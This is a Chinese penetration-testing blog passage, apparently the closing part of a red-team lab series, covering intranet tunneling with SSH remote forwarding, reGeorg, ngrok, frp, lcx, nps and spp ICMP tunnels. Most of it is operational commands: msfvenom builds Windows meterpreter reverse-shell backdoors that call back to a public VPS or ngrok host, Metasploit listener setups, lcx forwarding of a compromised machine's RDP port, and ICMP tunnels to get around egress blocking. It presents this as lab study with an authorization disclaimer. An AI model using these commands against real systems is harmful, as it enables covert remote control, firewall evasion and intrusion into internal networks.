#上面的本地转发网络环境中,外网是可以访问到内网target1,假设不可以,但内网可以访问外网VPS,这下就需要用到远程端口转发
了
ssh -CfNg -R 4444:192.168.239.129:22 [email protected] #4444为kali外网VPS端口,192.168.239.129为内网主机
# -R 参数表示进行远程端口转发
同样Kali攻击机,进行连接4444端口即可成功连接到内网ssh服务
HTTP隧道学习
Neo-reGeory是一款建立HTTP隧道的工具,适用于目标服务器只开放了80端口,通过80端口去探测内网服务器。最常见的使用应该还是搭建一个socks代理
搭建环境
终端下运行:python reGeorgSocksProxy.py -u 靶机reGeorg脚本地址 -p 80(监听端口)
再起一个终端修改proxychains.conf配置文件,删除dynamic_chain的注释,在ProxyList最后加一行socks5 127.0.0.1 本地监听端口
最后利用proxychains直接访问内网的80服务
proxychains curl 192.168.100.101
入门上线,这个需要自己搭建
https://www.ngrok.cc/
支持的协议:TCP、http、https
支持的类型:正向代理、反向代理
1、服务端配置:
开通隧道-TCP协议-指向IP和端口-开通隧道-连接隧道
2、客户端连接服务端:
./sunny clientid 133328291918 //控制端连接Ngrok的服务器
3、客户端生成后门配置监听:
msfvenom -p windows/meterpreter/reverse_tcp lhost=free.idcfengye.com lport=10134 -f exe -o tcp.exe
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lport 8888
run
https://github.com/fatedier/frp
frp是一个专注于内网穿透的高性能的反向代理应用,支持TCP、UDP、HTTP、HTTPS 等多种协议。可以将内网服务以安全、便捷的方式通过具有公网IP节点的中转暴露到公网。
1.服务端-下载-解压-修改-启动(阿里云主机记得修改安全组配置出入口)
服务器修改配置文件frps.ini:
[common]
bind_port = 7000
启动服务端:
./frps -c ./frps.ini
2.控制端-下载-解压-修改-启动
控制端修改配置文件frpc.ini:
[common]
server_addr = 47.94.236.117
server_port = 7000 #frpc工作端口,必须和上面frps保持一致
[msf]
type = tcp
local_ip = 127.0.0.1
local_port = 5555 #转发给本机的5555
remote_port = 6000 #服务端用6000端口转发给本机
启动客户端:
./frpc -c ./frpc.ini
msfvenom -p windows/meterpreter/reverse_tcp lhost=47.94.236.117 lport=6000 -f exe -o frp.exe
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 127.0.0.1
set LPORT 5555
exploit
3.靶机运行frp.exe即
Frp端口转发与内网主机
对于外网kali访问内网机,有两种手法,一是把外网kali的端口转发至边界机的端口。这样数据发到边界机的该端口就相当于发到外网kali,而端口转发frps在边界机
、frpc在外网kali
。另一种方式是内网穿透,把内网流量直接穿透到外网使得内网机能上网,frps也在边界机,frpc在内网机。
下载地址:https://github.com/UndefinedIdentifier/LCX
lcx也是一款强大的内网端口转发工具,现已经有了跨平台的工具,但可能容易给检测到,windows叫lcx.exe,linux叫portmap
Windows配置如下:
转发端口:lcx.exe -slave 公网IP 端口 内网IP 端口
监听端口:lcx.exe -listen 转发端口,本机任意没有没有被占用的端口
映射端口:lcx.exe -tran 映射端口号 ip 目标端口
Linux端口转发22端口
先配置环境,当防火墙进行限制不能直接访问ssh服务22端口不出网,这时候就需要利用端口转发
iptables -A OUTPUT -p tcp -d 靶机IP --sport 22 -j DROP# 利用lcx实现本地端口转发,将22号流量转发到其他允许出网的端口上面(V-PS上执行)
# 表示将9999端口的流量都转发给22号端口
./portmap -m 1 -p1 9999 -h2 127.0.0.1 -p2 22# 再次连接即可成功
ssh [email protected]本地IP -p 9999Windows端口转发3389端口
肉鸡上执行:lcx.exe –slave 公网VPS + 端口 肉鸡 ip + 端口
例如:lcx.exe -slave xxx.xxx.xxx.xxx 10080 127.0.0.1 3389
意思是把肉鸡的 3389 端口转发到 xxx.xxx.xxx.xxx 公网的 10000 端口公网IP机器上执行 Lcx.exe –listen 10000 10001
例如:Lcx.exe –listen 10001 10000
意思是监听公网 ip 机器上的 10001 端口请求,并将 10001 的请求传送给 10000 端口。
此时,RDP 连接,只需要输入 127.0.0.1:10000,即可远程连接到肉鸡上。
https://github.com/ehang-io/nps
nps是一款轻量级、高性能、功能强大的内网穿透代理服务器。目前支持tcp、udp流量转发,可支持任何tcp、udp上层协议(访问内网网站、本地支付接口调试、ssh访问、远程桌面,内网dns解析等等),此外还支持内网http代理、内网socks5代理、p2p等,并带有功能强大的web管理端。
-服务端:
1、启动
./nps install
./nps
http://IP:8080/ admin/123
2、创建客户端,生成密匙
3、添加协议隧道,绑定指向
远程绑定5555,指向本地6666
-客户端:
1、连接服务端:
./npc -server=47.94.236.117:8024 -vkey=uajwhbu9155qh89v
2、生成后门:msfvenom -p windows/meterpreter/reverse_tcp lhost=47.94.236.117 lport=5555 -f exe -o nps.exe
3、监听后门:
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 0.0.0.0
set LPORT 6666
run
https://github.com/esrrhs/spp
支持的协议:tcp、udp、udp、icmp、http、kcp、quic
支持的类型:正向代理、反向代理、socks5正向代理、socks5反向代理
在对抗项目中有遇到过一些极端环境,比如目标封了tcp,http等常用出网的协议,
但是icmp,dns等协议可能因为业务需要或者管理者安全意识不到位导致没有封干净。
在这种场景下就可以使用这些容易被忽视的协议进行隧道的搭建。
1、服务端:监听本地的icmp数据
./spp -type server -proto ricmp -listen 0.0.0.0
2、客户端:将本地的8082给到117这8081上(TCP封装icmp)
spp -name "test" -type proxy_client -server 47.94.236.117 -fromaddr :8082 -toaddr :8081 -proxyproto tcp -proto ricmp
3、CS
监听器1:http 47.94.236.117 8081
监听器2:http 127.0.0.1 8082
生成后门:监听器2
总结:红队靶机系列渗透完毕啦,耗时了挺久的,记录了自己的渗透思路和常见的内网技巧学习,是有所收获的,学习到挺多的东西。首先从外网的信息收集打点渗透,到内网的代理配置,隧道搭建,域内信息收集的技巧学,常见的漏洞复现利用,多种方式的提权逃逸,配合内网中的hash密码提取和横向渗透,CS上线等等,到最终拿下域控主机,也算是有所体会吧。文章先写到这里,后续继续学习补充,希望大佬们多多支持。
作者:sec-in【 Resolve 】
转载自:https://www.sec-in.com/article/2084
声明:⽂中所涉及的技术、思路和⼯具仅供以安全为⽬的的学习交流使⽤,任何⼈不得将其⽤于⾮法⽤途以及盈利等⽬的,否则后果⾃⾏承担。所有渗透都需获取授权!
(hack视频资料及工具)
(部分展示)
往期推荐
【精选】SRC快速入门+上分小秘籍+实战指南
爬取免费代理,拥有自己的代理池
漏洞挖掘|密码找回中的套路
渗透测试岗位面试题(重点:渗透思路)
漏洞挖掘 | 通用型漏洞挖掘思路技巧
干货|列了几种均能过安全狗的方法!
一名大学生的黑客成长史到入狱的自述
攻防演练|红队手段之将蓝队逼到关站!
巧用FOFA挖到你的第一个漏洞